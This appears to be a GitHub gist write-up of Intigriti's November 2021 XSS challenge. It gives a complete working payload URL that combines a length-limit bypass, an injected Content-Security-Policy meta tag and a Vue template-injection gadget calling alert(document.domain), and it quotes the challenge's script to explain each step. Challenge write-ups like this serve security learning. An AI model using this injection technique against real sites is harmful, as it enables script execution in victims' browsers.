Skip to content

Instantly share code, notes, and snippets.

@jorgectf
Last active December 7, 2021 08:16
Show Gist options
  • Save jorgectf/a448e5be7a6f1f75adb8155052e6f3b5 to your computer and use it in GitHub Desktop.
Save jorgectf/a448e5be7a6f1f75adb8155052e6f3b5 to your computer and use it in GitHub Desktop.
Intigriti's November 2021 XSS challenge writeup.

Full Payload: https://challenge-1121.intigriti.io/challenge/index.php?version=9e99&vueDevtools=./vuejs.php&s=%3C%2Ftitle%3E%3Cmeta%20http-equiv=%22Content-Security-Policy%22%20content=%22script-src%20%27unsafe-eval%27%20challenge-1121.intigriti.io%20unpkg.com%20%27sha256-Tz%2FiYFTnNe0de6izIdG%2Bo6Xitl18uZfQWapSbxHE6Ic%3D%27%20%27sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4=%27%22%3E%3Cdiv%20id=app%3E{{%20constructor.constructor(%22alert(document.domain)%22)()%20}}%3Cscript%3E%2F*

Url decoded: https://challenge-1121.intigriti.io/challenge/index.php?version=9e99&vueDevtools=./vuejs.php&s=<%2ftitle><meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' challenge-1121.intigriti.io unpkg.com 'sha256-TziYFTnNe0de6izIdG+o6Xitl18uZfQWapSbxHE6Ic=' 'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz+oz+CtD7RE4='"><div id=app>{{ constructor.constructor("alert(document.domain)")() }}<script>/* (%2f -> /)

<script nonce="nonce">
  if (!window.isProd){
    let version = new URL(location).searchParams.get('version') || '';
    version = version.slice(0,12);
    let vueDevtools = new URL(location).searchParams.get('vueDevtools') || '';
    vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');

    if (version === 999999999999){
      setTimeout(window.legacyLogger, 1000);
    } else if (version > 1000000000000){ // [1]
      addJS(vueDevtools, window.initVUE); // [2]
    } else{
      console.log(performance)
    }
  }
</script>

version=9e99 is used to get into [1] because 9e99 resolves to a higher number than 1000000000000 (thus bypassing the length limit by version.slice(0,12)).

vueDevtools=./vuejs.php is set to re-render the page ([2]) and execute constructor.constructor("alert(document.domain)")() (constructor.constructor used in order to get into the browser context to be able to use eval).

Lastly, s parameter escapes the title, comments out a script setting isProd to true and creates another CSP making the document to join the existing one with this. By specifying hashes we can control the scripts to load (like an allowlist) thus being able to disable the first render by a non-allowlisted script.

Solution found in collaboration with @carlospolopm.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment